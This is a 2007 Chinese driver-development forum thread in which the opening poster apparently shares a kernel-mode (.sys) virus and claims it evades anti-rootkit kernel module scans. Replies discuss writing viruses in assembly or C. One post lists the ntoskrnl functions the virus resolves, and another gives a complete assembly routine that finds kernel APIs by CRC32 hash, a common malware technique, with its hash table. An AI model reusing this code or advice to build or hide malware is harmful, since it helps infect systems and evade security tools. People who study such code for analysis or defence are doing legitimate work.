zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
阅读:8644回复:44

一个简单的sys病毒!

楼主#
更多 发布于:2007-10-26 11:24
123321

最新喜欢:

LeopardLeopar...
zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
沙发#
发布于:2007-10-26 11:26
哦,对了,貌似俺这个东东也能绕过现代Anti-Rookit工具的内核模块扫描。
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
板凳#
发布于:2007-10-26 11:37
顶,向大牛学习,
驱动开发者 呵呵
binjo
论坛版主
论坛版主
  • 注册日期2003-04-23
  • 最后登录2012-06-25
  • 粉丝0
  • 关注0
  • 积分1002分
  • 威望142点
  • 贡献值0点
  • 好评度140点
  • 原创分0分
  • 专家分0分
地板#
发布于:2007-10-26 11:45
学习
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
地下室#
发布于:2007-10-26 11:45
我也晕了
驱动开发者 呵呵
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
5楼#
发布于:2007-10-26 11:47
楼主是个牛人啊,楼下的,你说是不是?
驱动开发者 呵呵
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
6楼#
发布于:2007-10-26 12:06
C写的?还是纯汇编~~
没有战争就没有进步 X3工作组 为您提供最好的军火
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
7楼#
发布于:2007-10-26 12:11
C的也可以实现,而且可以做的很xxx,很xxx~~至少目前我手头就有一个~很取巧的感染技巧导致了C也可以处理复杂的重定位...
没有战争就没有进步 X3工作组 为您提供最好的军火
ProPlayboy
驱动大牛
驱动大牛
  • 注册日期2005-07-07
  • 最后登录2022-02-15
  • 粉丝0
  • 关注0
  • 积分1016分
  • 威望811点
  • 贡献值0点
  • 好评度719点
  • 原创分0分
  • 专家分0分
  • 社区居民
8楼#
发布于:2007-10-26 14:24
...加入发晕行列
人不靓仔心灵美,版头不正红花仔!
Fuwaxy
驱动牛犊
驱动牛犊
  • 注册日期2006-11-01
  • 最后登录2009-06-22
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望28点
  • 贡献值0点
  • 好评度24点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2007-10-26 14:58
有四个文件,要加载哪个?
是不是要用kmdmanager之类的加载,还是自启动?
驱网无线,快乐无限
zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
10楼#
发布于:2007-10-26 15:01
引用第6楼killvxk于2007-10-26 12:06发表的  :
C写的?还是纯汇编~~

汇编,汇编写病毒要简单些。
majiajue
驱动牛犊
驱动牛犊
  • 注册日期2007-10-25
  • 最后登录2008-06-28
  • 粉丝0
  • 关注0
  • 积分200分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
11楼#
发布于:2007-10-26 15:14
用c写的话,asm写个loader
convert一下reloc就行了
不过这种东西直接写offset-indepent code就行。
Fuwaxy
驱动牛犊
驱动牛犊
  • 注册日期2006-11-01
  • 最后登录2009-06-22
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望28点
  • 贡献值0点
  • 好评度24点
  • 原创分0分
  • 专家分0分
12楼#
发布于:2007-10-26 15:14
讲讲原理
驱网无线,快乐无限
majiajue
驱动牛犊
驱动牛犊
  • 注册日期2007-10-25
  • 最后登录2008-06-28
  • 粉丝0
  • 关注0
  • 积分200分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
13楼#
发布于:2007-10-26 15:42
00A58911  0089AE79  ntoskrnl.DbgPrint
00A58915  008DB179  ntoskrnl.DbgPrintEx
00A58919  008DB088  ntoskrnl.DbgPrintReturnControlC
00A5891D  008AD45A  ntoskrnl.ExAllocatePool
00A58921  008E93D4  ntoskrnl.ExFreePool
00A58925  00886C35  ntoskrnl.IoAllocateMdl
00A58929  008CB575  ntoskrnl.IoCompleteRequest
00A5892D  00937AA2  ntoskrnl.IoCreateDevice
00A58931  00916362  ntoskrnl.IoCreateFile
00A58935  008A5670  ntoskrnl.IoDeleteDevice
00A58939  008F8D60  ntoskrnl.IoDriverObjectType
00A5893D  00886CEA  ntoskrnl.IoFreeMdl
00A58941  008D034B  ntoskrnl.KeBugCheck
00A58945  00880D68  ntoskrnl.KeInitializeDpc
00A58949  0087B3F7  ntoskrnl.KeInitializeSpinLock
00A5894D  00885583  ntoskrnl.KeInitializeTimer
00A58951  008FA500  ntoskrnl.KeServiceDescriptorTable
00A58955  0087B14F  ntoskrnl.KeSetTimer
00A58959  00964BEB  ntoskrnl.MmGetSystemRoutineAddress
00A5895D  0088FE51  ntoskrnl.MmProbeAndLockPages
00A58961  00890105  ntoskrnl.MmUnlockPages
00A58965  00916538  ntoskrnl.NtOpenFile
00A58969  008D9371  ntoskrnl.ObDereferenceObject
00A5896D  00904581  ntoskrnl.ObReferenceObjectByHandle
00A58971  0092ADB3  ntoskrnl.ProbeForRead
00A58975  009068F1  ntoskrnl.ProbeForWrite
00A58979  009CC6B0  ntoskrnl.PsRemoveCreateThreadNotifyRoutine
00A5897D  009CC56F  ntoskrnl.PsSetCreateProcessNotifyRoutine
00A58981  009CC647  ntoskrnl.PsSetCreateThreadNotifyRoutine
00A58985  0087C476  ntoskrnl.ZwClose
00A58989  0087C66A  ntoskrnl.ZwCreateSection
00A5898D  0087CAF2  ntoskrnl.ZwMapViewOfSection
00A58991  0087CB56  ntoskrnl.ZwOpenDirectoryObject
00A58995  0087CB92  ntoskrnl.ZwOpenFile
00A58999  0087CE4E  ntoskrnl.ZwQueryInformationFile
00A5899D  0087D75E  ntoskrnl.ZwUnmapViewOfSection
00A589A1  008830AD  ntoskrnl.wcscmp

贴一个api hash
binjo
论坛版主
论坛版主
  • 注册日期2003-04-23
  • 最后登录2012-06-25
  • 粉丝0
  • 关注0
  • 积分1002分
  • 威望142点
  • 贡献值0点
  • 好评度140点
  • 原创分0分
  • 专家分0分
14楼#
发布于:2007-10-26 15:53
你贴少了点
继续
majiajue
驱动牛犊
驱动牛犊
  • 注册日期2007-10-25
  • 最后登录2008-06-28
  • 粉丝0
  • 关注0
  • 积分200分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
15楼#
发布于:2007-10-26 15:56
没有ring0 debugger,你自己贴吧

.386
            .model    flat,stdcall

            option    casemap:none

            .code

start:
            int    3

            call    get_hash

            dd 0DCC02CB0h, 28B5DDA5h, 7B5A95AAh, 7C23118Eh
            dd 6AF7534Fh, 0CD52490Fh, 189A4DD4h, 0EF27BACBh
            dd 0D5434B7Bh, 18E236A1h, 74DFE931h, 1FBE8FCh
            dd 0D5675DCh, 0E23413DBh, 4318F1A4h, 9B007656h
            dd 0A5263734h, 5E0780D3h, 0CC8DE8DFh, 18076F64h
            dd 0C311D3AFh, 0A8EA7C2Eh, 5C7407D9h, 0D157ED26h
            dd 2828DDF4h, 81BFB912h, 0D4C72283h, 0E3DFF09Ch
            dd 4845FBF9h, 0D2C7EC89h, 5AA24267h, 0DE11463h
            dd 225171Eh, 0BE8D0D49h, 57203DDCh, 6A2E9930h
            dd 0D1F6F667h, 0, 83F19CBBh, 9F8E9A2Eh
            dd 0A76E66AEh, 9D46D148h, 0, 12BCEF20h
get_hash:

            pop    esi
            mov    edi, esi            
            
            mov    ebx, 'BASE'
            call    get_proc_by_hash

            int    3


; =============== S U B    R O U T    I N E =======================================


get_proc_by_hash    proc near            ; CODE XREF: .reloc:0001070Ap
                            ; .reloc:00010741p ...
            mov    eax, ebx
;            stosd
            mov    edx, [ebx+3Ch]
            add    edx, ebx
            mov    edx, [edx+78h]
            add    edx, ebx
            push    ebp
            xchg    ebp, esi
            mov    esi, [edx+20h]
            add    esi, ebx
            mov    ecx, [edx+18h]

__next:                            ; CODE XREF: get_proc_by_hash+26j
                            ; get_proc_by_hash+50j
            jecxz    short __exit
            dec    ecx
            lodsd
            add    eax, ebx
            call    calc_hash
            cmp    eax, [ebp+0]
            jnz    short __next
            push    ecx
            mov    eax, [edx+18h]
            sub    eax, ecx
            dec    eax
            mov    ecx, [edx+24h]
            add    ecx, ebx
            movzx    eax, word ptr [ecx+eax*2]
            mov    ecx, [edx+1Ch]
            add    ecx, ebx
            lea    eax, [ecx+eax*4]
            push    eax
            mov    eax, [eax]
            add    eax, ebx
            stosd
            pop    eax
;            stosd
            pop    ecx
            add    ebp, 4
            cmp    dword ptr [ebp+0], 0
            jnz    short __next
            xchg    esi, ebp
            lodsd

__exit:                            ; CODE XREF: get_proc_by_hash:__nextj
            pop    ebp
            retn
get_proc_by_hash    endp


calc_hash        proc near            ; CODE XREF: get_proc_by_hash+1Ep
            push    edi
            xor    edi, edi

loc_10BBB:                        ; CODE XREF: get_proc_x+5j
            push    ecx
            push    ebx
            or    ebx, 0FFFFFFFFh

loc_10BC0:                        ; CODE XREF: calc_hash+20j
                            ; calc_hash+27j
            xor    bl, [eax]
            push    8
            pop    ecx

loc_10BC5:                        ; CODE XREF: calc_hash:loc_10BCFj
            add    ebx, ebx
            jnb    short loc_10BCF
            xor    ebx, 4C11DB7h

loc_10BCF:                        ; CODE XREF: calc_hash+Fj
            loop    loc_10BC5
            test    edi, edi
            jz    short loc_10BDC
            inc    eax
            cmp    edi, eax
            jnz    short loc_10BC0
            jmp    short loc_10BE1
; ---------------------------------------------------------------------------

loc_10BDC:                        ; CODE XREF: calc_hash+1Bj
            sub    cl, [eax]
            inc    eax
            jb    short loc_10BC0

loc_10BE1:                        ; CODE XREF: calc_hash+22j
            xchg    eax, ebx
            pop    ebx
            pop    ecx
            pop    edi

locret_10BE5:                        ; CODE XREF: get_proc_x+3j
            retn
calc_hash        endp

            end    start
binjo
论坛版主
论坛版主
  • 注册日期2003-04-23
  • 最后登录2012-06-25
  • 粉丝0
  • 关注0
  • 积分1002分
  • 威望142点
  • 贡献值0点
  • 好评度140点
  • 原创分0分
  • 专家分0分
16楼#
发布于:2007-10-26 16:27
dd 83F19CBBh, 9F8E9A2Eh
dd 0A76E66AEh, 9D46D148h, 0

            add    ebp, 4
            cmp    dword ptr [ebp+0], 0
            jnz    short __next
            xchg    esi, ebp
            lodsd

__exit:                            ; CODE XREF: get_proc_by_hash:__nextj
            pop    ebp
            retn

   
z.b.Azy
驱动牛犊
驱动牛犊
  • 注册日期2006-03-11
  • 最后登录2013-04-29
  • 粉丝0
  • 关注0
  • 积分263分
  • 威望95点
  • 贡献值0点
  • 好评度91点
  • 原创分2分
  • 专家分0分
17楼#
发布于:2007-10-26 20:13
有点意思,看看~
macro913
驱动牛犊
驱动牛犊
  • 注册日期2005-11-21
  • 最后登录2009-05-18
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望33点
  • 贡献值0点
  • 好评度31点
  • 原创分0分
  • 专家分0分
18楼#
发布于:2007-10-27 09:31
牛,要是再放点血就好了。。强烈要求源码,哈哈。。ring3的病毒感染方式在ring0中还需要处理好多细节吧。。。ring3的技术越来越多的整倒ring0,趋势?和谐?哈哈。。。。
syskey
驱动牛犊
驱动牛犊
  • 注册日期2007-10-25
  • 最后登录2008-06-16
  • 粉丝0
  • 关注0
  • 积分90分
  • 威望11点
  • 贡献值0点
  • 好评度10点
  • 原创分0分
  • 专家分0分
19楼#
发布于:2007-10-27 09:36
顶起,
上一页
游客

返回顶部